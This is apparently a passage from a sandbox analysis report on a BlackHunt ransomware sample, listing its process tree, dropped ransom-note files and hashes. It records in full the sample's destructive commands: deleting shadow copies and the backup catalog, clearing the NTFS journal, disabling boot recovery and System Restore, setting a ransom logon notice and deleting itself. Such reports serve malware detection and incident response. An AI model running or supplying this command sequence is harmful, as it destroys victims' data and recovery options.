                                                                                                                                                            REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2176
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1640
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2348
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:332
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2244
                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:236
                                                                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Deletes backup catalog
                                                                                                                                                                        PID:2260
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:228
                                                                                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                                                                                          fsutil.exe usn deletejournal /D C:
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Deletes NTFS Change Journal
                                                                                                                                                                          PID:2160
                                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:220
                                                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                            bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                                                            PID:2224
                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:212
                                                                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                              bcdedit /set {default} recoveryenabled No
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                                                                              PID:2236
                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:204
                                                                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                                                PID:2356
                                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:2008
                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                  taskkill /IM mshta.exe /f
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                  PID:2296
                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2060
                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2288
                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2092
                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                                                                                                                                        PID:2544
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c start /min cmd /c del /F C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2132
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          cmd /c del /F C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Deletes itself
                                                                                                                                                                                          PID:2168
                                                                                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe "-38425080-4231391175544846691912371148-461802385-1294558055798302508193687780"
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:1156
                                                                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe "1851287083299396040463639429-127060770416142287341314316893-1300521235531257176"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                        PID:628
                                                                                                                                                                                      • C:\Windows\system32\conhost.exe
                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe "-1128246194-66301399-1328875689-172510841524656510518998237022075483028280260326"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:1404
                                                                                                                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                          C:\Windows\system32\vssvc.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:1984
                                                                                                                                                                                        • C:\Windows\system32\wbengine.exe
                                                                                                                                                                                          "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:288
                                                                                                                                                                                        • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                          C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:1076
                                                                                                                                                                                          • C:\Windows\System32\vds.exe
                                                                                                                                                                                            C:\Windows\System32\vds.exe
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:980

                                                                                                                                                                                            Network

                                                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                            Downloads

                                                                                                                                                                                            • C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              10KB

                                                                                                                                                                                              MD5

                                                                                                                                                                                              0e82c5ac0814f077abbea2a4d221eea4

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              ecc1ebb3b7b095a45a511919b27183a0bfc4dbaf

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              07e77352bef58a2b0cfc6a8f113252baa063e853eca217cace79b3e20cc517b1

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              08992a378f39f5aac06fd248d43a9df53a7f29876ae9bd8b71070700a410068f07d4f7ffaee9c0db4eb8cf0e4b81b01918d8bcc9b698f9e72b1558b99b00e100

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                              Filesize

                                                                                                                                                                                              687B

                                                                                                                                                                                              MD5

                                                                                                                                                                                              da576ad53c030f87ae35d0f4803e9abc

                                                                                                                                                                                              SHA1

                                                                                                                                                                                              b45589f9ffdeabf2028ad70a74dc29ce61f6cda6

                                                                                                                                                                                              SHA256

                                                                                                                                                                                              d89ce988030a293062ff86fa0cf864198ab0c742627b5ec914fdfa048d106d39

                                                                                                                                                                                              SHA512

                                                                                                                                                                                              2134930ebad095bf36e4902726ec618c6211fea61eb6bebe804b812e8a8673f608ea1b9740560b76fe98b3d0d1cbd8be1735b10e453b4e351e473ab100cb6aa1

                                                                                                                                                                                              Download Submit

                                                                                                                                                                                            • memory/828-119-0x000007FEFBB81000-0x000007FEFBB83000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              8KB

                                                                                                                                                                                              Download

                                                                                                                                                                                            • memory/2040-54-0x0000000076041000-0x0000000076043000-memory.dmp

                                                                                                                                                                                              Filesize

                                                                                                                                                                                              8KB

                                                                                                                                                                                              Download